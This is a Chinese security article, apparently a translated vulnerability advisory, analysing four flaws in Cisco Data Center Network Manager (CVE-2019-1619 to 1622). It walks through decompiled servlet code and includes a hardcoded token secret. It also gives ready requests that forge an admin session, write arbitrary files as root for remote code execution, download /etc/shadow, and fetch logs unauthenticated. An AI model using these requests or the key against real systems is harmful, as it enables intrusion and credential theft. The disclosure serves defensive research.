思科DCNM多个漏洞细节分析
2019-07-21 10:00:37 Author: www.freebuf.com(查看原文) 阅读量:104 收藏

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

摘要

Cisco Data Center Network Manager(DCNM)是由Cisco提供的虚拟设备、Windows和Red Hat Linux的安装包。为了在全球范围内管理思科设备,DCNM部署在全球分布的数据中心。

DCNM 11.1(1)及以下受4个漏洞影响:绕过身份验证、任意文件上传(导致远程代码执行)、任意文件下载和通过日志下载敏感信息。

下表列出了每个漏洞的受影响版本:

捕获.PNG

身份验证绕过存在于10.4(2)版本,允许攻击者利用文件上传进行远程代码执行。

在11.0(1)版本中引入了身份验证,漏洞利用需要一个有效的非特权帐户。但是,在11.1(1)版中,Cisco删除了文件上传和文件下载servlet的身份验证,允许攻击者在没有任何身份验证的情况下利用漏洞!11.2(1)中修复了所有漏洞,敏感信息下载漏洞除外,其状态未知。

为了实现任意文件上传漏洞并进行远程代码执行,攻击者可以在Tomcat webapps文件夹中写入一个war文件。Apache Tomcat服务器运行为root,因此Java shell将以root身份运行。

供应商简介

“Cisco®Data Center Network Manager(DCNM)是针对所有NX-OS网络部署的综合管理解决方案,涵盖由Cisco数据中心中的LAN结构、SAN结构和IP结构(IPFM)网络。DCNM 11提供跨Cisco Nexus®和Cisco多层分布式交换(MDS)解决方案包括管理、控制、自动化、监控、可视化和故障排除。

DCNM 11支持Cisco Nexus交换机的多机多机基础设施管理。DCNM还支持使用Cisco MDS 9000系列和Cisco Nexus交换机存储功能进行存储管理。

DCNM 11为结构引导、SAN分区、设备别名管理、漏洞分析、SAN主机路径冗余和端口监控配置提供了接口。”

技术细节

漏洞1:身份认证绕过

Vulnerability: Authentication Bypass

CVE-2019-1619

Attack Vector: Remote

Constraints: None

Affected products / versions:

Cisco Data Center Network Manager 10.4(2) 及以下

DCNM在url/fm/pmreport中的“reportservlet”。滥用此servlet导致未经身份验证的攻击者可以在Web界面上获取有效的管理会话。

下面的代码片段显示了servlet的功能:


com.cisco.dcbu.web.client.performance.ReportServlet

  public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

    Credentials cred = (Credentials)request.getSession().getAttribute("credentials");

    if((cred == null || !cred.isAuthenticated()) && !"fetch".equals(request.getParameter("command")) && !this.verifyToken(request)) {

      request.setAttribute("popUpSessionTO", "true");

    }

    this.doInteractiveChart(request, response);

  }

请求交给verifyToken函数进行下一步处理:


  private boolean verifyToken(HttpServletRequest httpServletRequest) {

    String token = httpServletRequest.getParameter("token");

    if(token == null) {

      return false;

    } else {

      try {

        FMServerRif serverRif = SQLLoader.getServerManager();

        IscRif isc = serverRif.getIsc(StringEncrypter.encryptString("DESede", (new Date()).toString()));

        token = URLDecoder.decode(token, "UTF-8");

        token = token.replace(' ', '+');

        FMUserBase fmUserBase = isc.verifySSoToken(token);

        if(fmUserBase == null) {

          return false;

        } else {

          Credentials newCred = new Credentials();

          int idx = fmUserBase.getUsername().indexOf(64);

          newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));

          newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword()));

          newCred.setRole(fmUserBase.getRole());

          newCred.setAuthenticated(true);

          httpServletRequest.getSession().setAttribute("credentials", newCred);

          return true;

        }

      } catch (Exception var8) {

        var8.printStackTrace();

        return false;

      }

    }

  }

fmUserBase fmUserBase=isc.verifyssotoken(令牌);

HTTP请求参数“token”被传递给iscrif.verifyssotoken,如果该函数返回有效的用户,则请求经过身份验证,凭证存储在会话中。

让我们继续了解iscrif.verifyssotoken中如何进行处理


 public FMUserBase verifySSoToken(String ssoToken) {

    return SecurityManager.verifySSoToken(ssoToken);

  }

 public static FMUserBase verifySSoToken(String ssoToken) {

    String userName = null;

    FMUserBase fmUserBase = null;

    FMUser fmUser = null;

    try {

      userName = getSSoTokenUserName(ssoToken);

      if(confirmSSOToken(ssoToken)) {

        fmUser = UserManager.getInstance().findUser(userName);

        if(fmUser != null) {

          fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());

        }

        if(fmUserBase == null) {

          fmUserBase = DCNMUserImpl.getFMUserBase(userName);

        }

        if(fmUserBase == null) {

          fmUserBase = FMSessionManager.getInstance().getFMUser(getSessionIdByToken(ssoToken));

        }

      }

    } catch (Exception var5) {

      _Logger.info("verifySSoToken: ", var5);

    }

    return fmUserBase;

  }

从上面的代码中可以看到,用户名是从这里获得令牌

userName = getSSoTokenUserName(ssoToken);

继续进行代码分析:


public static String getSSoTokenUserName(String ssoToken) {

    return getSSoTokenDetails(ssoToken)[3];

  }

  private static String[] getSSoTokenDetails(String ssoToken) {

    String[] ret = new String[4];

    String separator = getTokenSeparator();

    StringTokenizer st = new StringTokenizer(ssoToken, separator);

    if(st.hasMoreTokens()) {

      ret[0] = st.nextToken();

      ret[1] = st.nextToken();

      ret[2] = st.nextToken();

      for(ret[3] = st.nextToken(); st.hasMoreTokens(); ret[3] = ret[3] + separator + st.nextToken()) {

        ;

      }

    }

    return ret;

  }

令牌是一个字符串,由分隔符分隔,包含四个部分,其中第四部分是用户名。

现在回到上面列出的securityManager.verifyssotoken,我们看到在调用getssotokenusername之后,调用confirmssotoken:


 public static FMUserBase verifySSoToken(String ssoToken) {

                (...)

      userName = getSSoTokenUserName(ssoToken);

      if(confirmSSOToken(ssoToken)) {

        fmUser = UserManager.getInstance().findUser(userName);

        if(fmUser != null) {

          fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());

        }

                (...)

        }

  public static boolean confirmSSOToken(String ssoToken) {

    String userName = null;

    int sessionId = false;

    long sysTime = 0L;

    String digest = null;

    int count = false;

    boolean ret = false;

    try {

      String[] detail = getSSoTokenDetails(ssoToken);

      userName = detail[3];

      int sessionId = Integer.parseInt(detail[0]);

      sysTime = (new Long(detail[1])).longValue();

      if(System.currentTimeMillis() - sysTime > 600000L) {

        return ret;

      }

      digest = detail[2];

      if(digest != null && digest.equals(getMessageDigest("MD5", userName, sessionId, sysTime))) {

        ret = true;

        userNameTLC.set(userName);

      }

    } catch (Exception var9) {

      _Logger.info("confirmSSoToken: ", var9);

    }

    return ret;

  }

现在我们可以进一步理解令牌组成。它由以下部分组成:

sessionid+separator+systime+separator+digest+separator+username

什么是digest(指纹信息)?让我们看看getMessageDigest函数:


private static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception {

      String input = userName + sessionid + sysTime + SECRETKEY;

      MessageDigest md = MessageDigest.getInstance(algorithm);

      md.update(input.getBytes());

      return new String(Base64.encodeBase64((byte[])md.digest()));

    }

该指纹信息是MD5值,由以下几个部分组成,中间有’.'符号分隔

userName + sessionid + sysTime + SECRETKEY

SECRETKEY是一串硬编码字符串:”POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF”;

总的来说,只要reportservlet接收到以下格式的令牌,它就会对任何请求进行身份验证:

sessionId.sysTime.MD5(userName + sessionid + sysTime + SECRETKEY).username

sessionid可以由用户输入构造,系统时间可以通过获取HTTP头部服务器日期转换为毫秒获得,我们知道secretkey和用户名,所以现在我们可以作为任何用户进行身份验证。以下是一个示例:

GET /fm/pmreport?token=1337.1535935659000.upjVgZQmxNNgaXo5Ga6jvQ==.admin

由于缺少servlet执行所需的参数,此请求将返回500个错误,但是它也将成功地向服务器验证我们的身份,并返回一个jsessionid cookie,并为管理用户提供有效会话。

请注意,用户必须是有效的。“admin”用户是一个很好的选择,因为它默认存在于所有系统中,也是系统中特权用户。

该漏洞利用不适用于11.0(1),但并不是因为漏洞被修复了,因为更新版本中存在完全相同的代码。

在11.0(1)中,reportservlet.verifytoken函数崩溃,出现异常:


private boolean verifyToken(HttpServletRequest httpServletRequest) {

        (...)

          Credentials newCred = new Credentials();

          int idx = fmUserBase.getUsername().indexOf(64);

          newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));

          newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword()));                    <--- exception occurs here

          newCred.setRole(fmUserBase.getRole());

          newCred.setAuthenticated(true);

          httpServletRequest.getSession().setAttribute("credentials", newCred);

          return true;

        }

      } catch (Exception var8) {

        var8.printStackTrace();

        return false;

      }

        (...)

  }

返回的异常为“com.cisco.dcbu.lib.util.StringEncrypter$EncryptionException:javax.crypto.badpaddingException:given final block not properly padded”。

这将导致执行进入上面所示的catch块,函数将返回false,因此服务器返回的JSessionID cookie中不会存储凭证。

这应该是一个编码错误,思科更新了他们的密码加密方法,但未能更新他们自己的代码。除非不使用此reportservlet代码,否则这是一个偶然修复安全漏洞。

在11.0(1)版上,已经从war xml映射文件中删除了reportservlet,因此请求该URL现在返回一个HTTP404错误。

漏洞2:任意文件上传导致远程代码执行

Vulnerability: Arbitrary File Upload (leading to remote code execution)

CVE-2019-1620

Attack Vector: Remote

Constraints: Authentication to the web interface as an unprivileged user required EXCEPT for version 11.1(1), where it can be exploited by an unauthenticated user

Affected products / versions:Cisco Data Center Network Manager 11.1(1) 及以下

漏洞存在于DCNM在/fm/file upload中的文件上载servlet(fileuploadservlet)。经过身份验证的用户可以利用此servlet将文件上载到任意目录,最终实现远程代码执行。

此servlet的代码如下所示:


com.cisco.dcbu.web.client.reports.FileUploadServlet

  public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

    this.doGet(request, response);

  }

  public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

    Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials"));

    if (cred == null || !cred.isAuthenticated()) {

      throw new ServletException("User not logged in or Session timed out.");

    }

    this.handleUpload(request, response);

  }

上面显示的代码很简单,请求被传递到handleupload:


private void handleUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

    response.setContentType(CONTENT_TYPE);

    PrintWriter out = null;

    ArrayList<String> allowedFormats = new ArrayList<String>();

    allowedFormats.add("jpeg");

    allowedFormats.add("png");

    allowedFormats.add("gif");

    allowedFormats.add("jpg");

    allowedFormats.add("cert");

    File disk = null;

    FileItem item = null;

    DiskFileItemFactory factory = new DiskFileItemFactory();

    String statusMessage = "";

    String fname = "";

    String uploadDir = "";

    ListIterator iterator = null;

    List items = null;

    ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);

    TransformerHandler hd = null;

    try {

      out = response.getWriter();

      StreamResult streamResult = new StreamResult(out);

      SAXTransformerFactory tf = (SAXTransformerFactory)SAXTransformerFactory.newInstance();

      items = upload.parseRequest(request);

      iterator = items.listIterator();

      hd = tf.newTransformerHandler();

      Transformer serializer = hd.getTransformer();

      serializer.setOutputProperty("encoding", "UTF-8");

      serializer.setOutputProperty("doctype-system", "response.dtd");

      serializer.setOutputProperty("indent", "yes");

      serializer.setOutputProperty("method", "xml");

      hd.setResult(streamResult);

      hd.startDocument();

      AttributesImpl atts = new AttributesImpl();

      hd.startElement("", "", "response", atts);

      while (iterator.hasNext()) {

        atts.clear();

        item = (FileItem)iterator.next();

        if (item.isFormField()) {

          if (item.getFieldName().equalsIgnoreCase("fname")) {

            fname = item.getString();

          }

          if (item.getFieldName().equalsIgnoreCase("uploadDir") && (uploadDir = item.getString()).equals(DEFAULT_TRUST_STORE_UPLOADDIR)) {

            uploadDir = ClientCache.getJBossHome() + File.separator + "server" + File.separator + "fm" + File.separator + "conf";

          }

          atts.addAttribute("", "", "id", "CDATA", item.getFieldName());

          hd.startElement("", "", "field", atts);

          hd.characters(item.getString().toCharArray(), 0, item.getString().length());

          hd.endElement("", "", "field");

          atts.clear();

          continue;

        }

        ImageInputStream imageInputStream = ImageIO.createImageInputStream(item.getInputStream());

        Iterator<ImageReader> imageReaders = ImageIO.getImageReaders(imageInputStream);

        ImageReader imageReader = null;

        if (imageReaders.hasNext()) {

          imageReader = imageReaders.next();

        }

        try {

          String imageFormat = imageReader.getFormatName();

          String newFileName = fname + "." + imageFormat;

          if (allowedFormats.contains(imageFormat.toLowerCase())) {

            FileFilter fileFilter = new FileFilter();

            fileFilter.setImageTypes(allowedFormats);

            File[] fileList = new File(uploadDir).listFiles(fileFilter);

            for (int i = 0; i < fileList.length; ++i) {

              new File(fileList[i].getAbsolutePath()).delete();

            }

            disk = new File(uploadDir + File.separator + fname);

            item.write(disk);

            Calendar calendar = Calendar.getInstance();

            SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");

            statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());

          }

          imageReader.dispose();

          imageInputStream.close();

          atts.addAttribute("", "", "id", "CDATA", newFileName);

        }

        catch (Exception ex) {

          this.processUploadedFile(item, uploadDir, fname);

          Calendar calendar = Calendar.getInstance();

          SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");

          statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());

          atts.addAttribute("", "", "id", "CDATA", fname);

        }

        hd.startElement("", "", "file", atts);

        hd.characters(statusMessage.toCharArray(), 0, statusMessage.length());

        hd.endElement("", "", "file");

      }

      hd.endElement("", "", "response");

      hd.endDocument();

      out.close();

    }

    catch (Exception e) {

      out.println(e.getMessage());

    }

  }

handleupload更复杂,函数采用一个带有参数“uploaddir”、参数“fname”的HTTP表单,然后取最后一个表单对象并将其写入“uploaddir/fname”。

函数中有一个验证:该文件必须是有效的映像,并且具有下列扩展名之一:

allowedFormats.add("jpeg");

allowedFormats.add("png");

allowedFormats.add("gif");

allowedFormats.add("jpg");

allowedFormats.add("cert");

但是,如果仔细观察,可以上传任意内容。这是因为在到达第二个(内部)Try-Catch块之前不会发生任何错误。


try {

          String imageFormat = imageReader.getFormatName();

  ...

如果我们发送的二进制内容不是文件,则会导致ImageReader引发异常,并发送到catch:


catch (Exception ex) {

          this.processUploadedFile(item, uploadDir, fname);

          Calendar calendar = Calendar.getInstance();

          SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");

          statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());

          atts.addAttribute("", "", "id", "CDATA", fname);

  ...

这意味着文件内容、upload dir及其名称将被发送到processuploadedfile。


private void processUploadedFile(FileItem item, String uploadDir, String fname) throws Exception {

    try {

      int offset;

      int contentLength = (int)item.getSize();

      InputStream raw = item.getInputStream();

      BufferedInputStream in = new BufferedInputStream(raw);

      byte[] data = new byte[contentLength];

      int bytesRead = 0;

      for (offset = 0; offset < contentLength && (bytesRead = in.read(data, offset, data.length - offset)) != -1; offset += bytesRead) {

      }

      in.close();

      if (offset != contentLength) {

        throw new IOException("Only read " + offset + " bytes; Expected " + contentLength + " bytes");

      }

      FileOutputStream out = new FileOutputStream(uploadDir + File.separator + fname);

      out.write(data);

      out.flush();

      out.close();

    }

    catch (Exception ex) {

      throw new Exception("FileUploadSevlet processUploadFile failed: " + ex.getMessage());

    }

  }

这个函数完全忽略了内容,并简单地将文件内容写入到我们指定的文件名和文件夹中。

总之,如果我们发送任何不是文件的二进制内容,我们可以以root权限将其写入任何目录中的任何文件。

发送如下请求:


POST /fm/fileUpload HTTP/1.1

Host: 10.75.1.40

Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;

Content-Length: 429

Content-Type: multipart/form-data; boundary=---------------------------9313517619947

-----------------------------9313517619947

Content-Disposition: form-data; name="fname"

owned

-----------------------------9313517619947

Content-Disposition: form-data; name="uploadDir"

/tmp/

-----------------------------9313517619947

Content-Disposition: form-data; name="filePath"; filename="whatever"

Content-Type: application/octet-stream

<any text or binary content here>

-----------------------------9313517619947--

The server will respond with:

HTTP/1.1 200 OK

X-FRAME-OPTIONS: SAMEORIGIN

Content-Type: text/xml;charset=utf-8

Date: Mon, 03 Sep 2018 00:57:11 GMT

Connection: close

Server: server

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE response SYSTEM "response.dtd">

<response>

<field id="fname">owned</field>

<field id="uploadDir">/tmp/</field>

<file id="whatever">File successfully written to server at 09.02.18 05:57:11 PM</file>

</response>

我们的文件已写入服务器:


[root@dcnm_vm ~]# ls -l /tmp/

(...)

-rw-r--r--  1 root          root               16 Sep  2 17:57 owned

(...)

最后,如果我们将一个war文件写入jboss部署目录,服务器将把war文件部署为根目录,允许攻击者实现远程代码执行。

利用此漏洞的metasploit模块已随本公告发布。

漏洞3:任意文件下载

Vulnerability: Arbitrary File Download

CVE-2019-1621

Attack Vector: Remote

Constraints: 非特权用户在未经身份认证的用户可在web界面进行任意文件下载

Affected products / versions:Cisco Data Center Network Manager 11.1(1) 及以下

漏洞存在于DCNM /fm/downloadservlet。经过身份验证的用户可以用此servlet以root权限下载任意文件。

下面的代码显示servlet请求处理代码:


public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

    Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials"));

    if (cred == null || !cred.isAuthenticated()) {

      throw new ServletException("User not logged in or Session timed out.");

    }

    String showFile = (String)request.getAttribute("showFile");

    if (showFile == null) {

      showFile = request.getParameter("showFile");

    }

    File f = new File(showFile);

    if (showFile.endsWith(".cert")) {

      response.setContentType("application/octet-stream");

      response.setHeader("Pragma", "cache");

      response.setHeader("Cache-Control", "cache");

      response.setHeader("Content-Disposition", "attachment; filename=fmserver.cert;");

    } else if (showFile.endsWith(".msi")) {

      response.setContentType("application/x-msi");

      response.setHeader("Pragma", "cache");

      response.setHeader("Cache-Control", "cache");

      response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";");

    } else if (showFile.endsWith(".xls")) {

      response.setContentType("application/vnd.ms-excel");

      response.setHeader("Pragma", "cache");

      response.setHeader("Cache-Control", "cache");

      response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";");

    }

    ServletOutputStream os = response.getOutputStream();

    FileInputStream is = new FileInputStream(f);

    byte[] buffer = new byte[4096];

    int read = 0;

    try {

      while ((read = is.read(buffer)) > 0) {

        os.write(buffer, 0, read);

      }

      os.flush();

    }

    catch (Exception e) {

      LogService.log(LogService._WARNING, e.getMessage());

    }

    finally {

      is.close();

    }

  }

}

它接受一个“showfile”请求参数,读取该文件并返回给用户。下面是servlet的一个示例:


Request:

GET /fm/downloadServlet?showFile=/etc/shadow HTTP/1.1

Host: 10.75.1.40

Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;

Response:

HTTP/1.1 200 OK

root:$1$(REDACTED).:17763:0:99999:7:::

bin:*:15980:0:99999:7:::

daemon:*:15980:0:99999:7:::

adm:*:15980:0:99999:7:::

lp:*:15980:0:99999:7:::

(...)

要下载的文件是/usr/local/cisco/dcm/fm/conf/server.properties,它包含数据库凭据和sftp根密码,这两个文件都用源代码中硬编码的密钥加密。

漏洞4:敏感信息泄露(日志文件下载)

Vulnerability: Information Disclosure (log files download)

CVE-2019-1622

Attack Vector: Remote

Constraints: None

Affected products / versions:

Cisco Data Center Network Manager 11.1(1) and below

漏洞存在与DCNM /fm/log/fmlogs.zip logzipperservlet。未经身份验证的攻击者可以访问此servlet,它将以zip格式返回/usr/local/cisco/dcm/fm/logs/*中的所有日志文件,这些文件提供有关本地目录、软件版本、身份验证错误、详细的堆栈跟踪等信息。

实现示例:GET /fm/log/fmlogs.zip

修补情况

漏洞1升级到DCNM 11.0(1)及以上;漏洞2、3升级到DCNM 11.2(1)及以上;漏洞4还未修补。

参考

[1] https://www.accenture.com/us-en/service-idefense-security-intelligence

[2] https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/prime-data-center-network-manager/datasheet-c78-740978.html

[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass

[4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex

[5] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld

[6] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-infodiscl

*参考来源:agileinfosec,Kriston编译整理,转载请注明来自 FreeBuf.COM


文章来源: https://www.freebuf.com/vuls/207880.html
如有侵权请联系:admin#unsafe.sh